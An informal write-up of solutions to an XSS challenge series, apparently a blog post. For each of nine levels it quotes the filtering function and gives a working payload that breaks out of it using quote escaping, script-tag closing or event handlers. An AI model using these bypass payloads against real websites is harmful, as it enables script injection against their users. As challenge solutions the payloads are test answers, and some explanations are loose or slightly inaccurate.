Hello friends, Just Wanna Share Some of My solutions for XSS CHALENGES BY Erling and i Hope You'll Try to Solve Them By YourSelf Too .
Okay Lets start .
Level 0
function escape(s) {
// Warmup.
return '<script>console.log("'+s+'");</script>';
}
Here is no encoding So I'm just gonna Close log and Then Calling alert Function
Solution : ");alert(1)//
Level 1
function escape(s) {
// Escaping scheme courtesy of Adobe Systems, Inc.
s = s.replace(/"/g, '\\"');
return '<script>console.log("' + s + '");</script>';
}
Function is Escaping (") Quotes by Just adding Double slashes so If We Just add one More Slash then It will be bypassed :P
Solution: \");alert(1)//
Level 2
function escape(s) {
s = JSON.stringify(s);
return '<script>console.log(' + s + ');</script>';
}
JSON.stringify(s) is Just Converting (") Double Quotes into (\") , Hmmm But its Not Blocking (<>) Brackets , so We again Managed to Fool the function :P
Solution: </script><img src=x onerror=alert(1)//
Level 3
function escape(s) {
var url = 'javascript:console.log(' + JSON.stringify(s) + ')';
console.log(url);
var a = document.createElement('a');
a.href = url;
document.body.appendChild(a);
a.click();
}
Again (") is Being Filtered?? okay We Can Still Manage to Play With it :P Just convert (") to URL.Encoding.
Solution: %22);alert(1)//
Level 4
function escape(s) {
var text = s.replace(/</g, '<').replace('"', '"');
// URLs
text = text.replace(/(http:\/\/\S+)/g, '<a href="$1">$1</a>');
// [[img123|Description]]
text = text.replace(/\[\[(\w+)\|(.+?)\]\]/g, '<img alt="$2" src="$1.gif">');
return text;
}
Now Intresting Part is Here :D (>) is Being Replaced with (<) and (") with (") so What to do Now?? Hey Here Just A combination of (") is Being Replaced so what If We Call Just an Event Handler to Popup The Alert1) ?? Lets Try it
Solution: [[a|""src=x onerror="alert(1)]]
Level 5
function escape(s) {
// Level 4 had a typo, thanks Alok.
// If your solution for 4 still works here, you can go back and get more points on level 4 now.
var text = s.replace(/</g, '<').replace(/"/g, '"');
// URLs
text = text.replace(/(http:\/\/\S+)/g, '<a href="$1">$1</a>');
// [[img123|Description]]
text = text.replace(/\[\[(\w+)\|(.+?)\]\]/g, '<img alt="$2" src="$1.gif">');
return text;
}
Now We are Just Going to Use Any src Tag which will Execute The Query whereas the URL Will be Simply replaced by Second Action.
solution: [[a|http://onload='alert(1)']]
Level 6
function escape(s) {
// Slightly too lazy to make two input fields.
// Pass in something like "TextNode#foo"
var m = s.split(/#/);
// Only slightly contrived at this point.
var a = document.createElement('div');
a.appendChild(document['create'+m[0]].apply(document, m.slice(1)));
return a.innerHTML;
}
Okay Guyz Here comes the Intresting Stuff , its Not Even filtering anything just Using a CreatComment Element so we Can Write any thing: Like Comment#><JS Alert Function Here>
Solution: Comment#><img src=x onerror=alert(1)//
Level 7
function escape(s) {
// Pass inn "callback#userdata"
var thing = s.split(/#/);
if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback';
var obj = {'userdata': thing[1] };
var json = JSON.stringify(obj).replace(/</g, '\\u003c');
return "<script>" + thing[0] + "(" + json +")</script>";
}
Ahaan Here we are just going to Enclose the JSON function and # in Sungle String and Then Injecting our Payload
Solution: '#';alert(1)//
Level 8
function escape(s) {
// Courtesy of Skandiabanken
return '<script>console.log("' + s.toUpperCase() + '")</script>';
}
and Here I Cannot See Any escaping function so Im Just closing the script tag and Injecting With No alpha Character Because it Converting My Payloads to Upper Case.
Solution: </script><svg onload=alert(1)//
I Hope you'll Like It :D
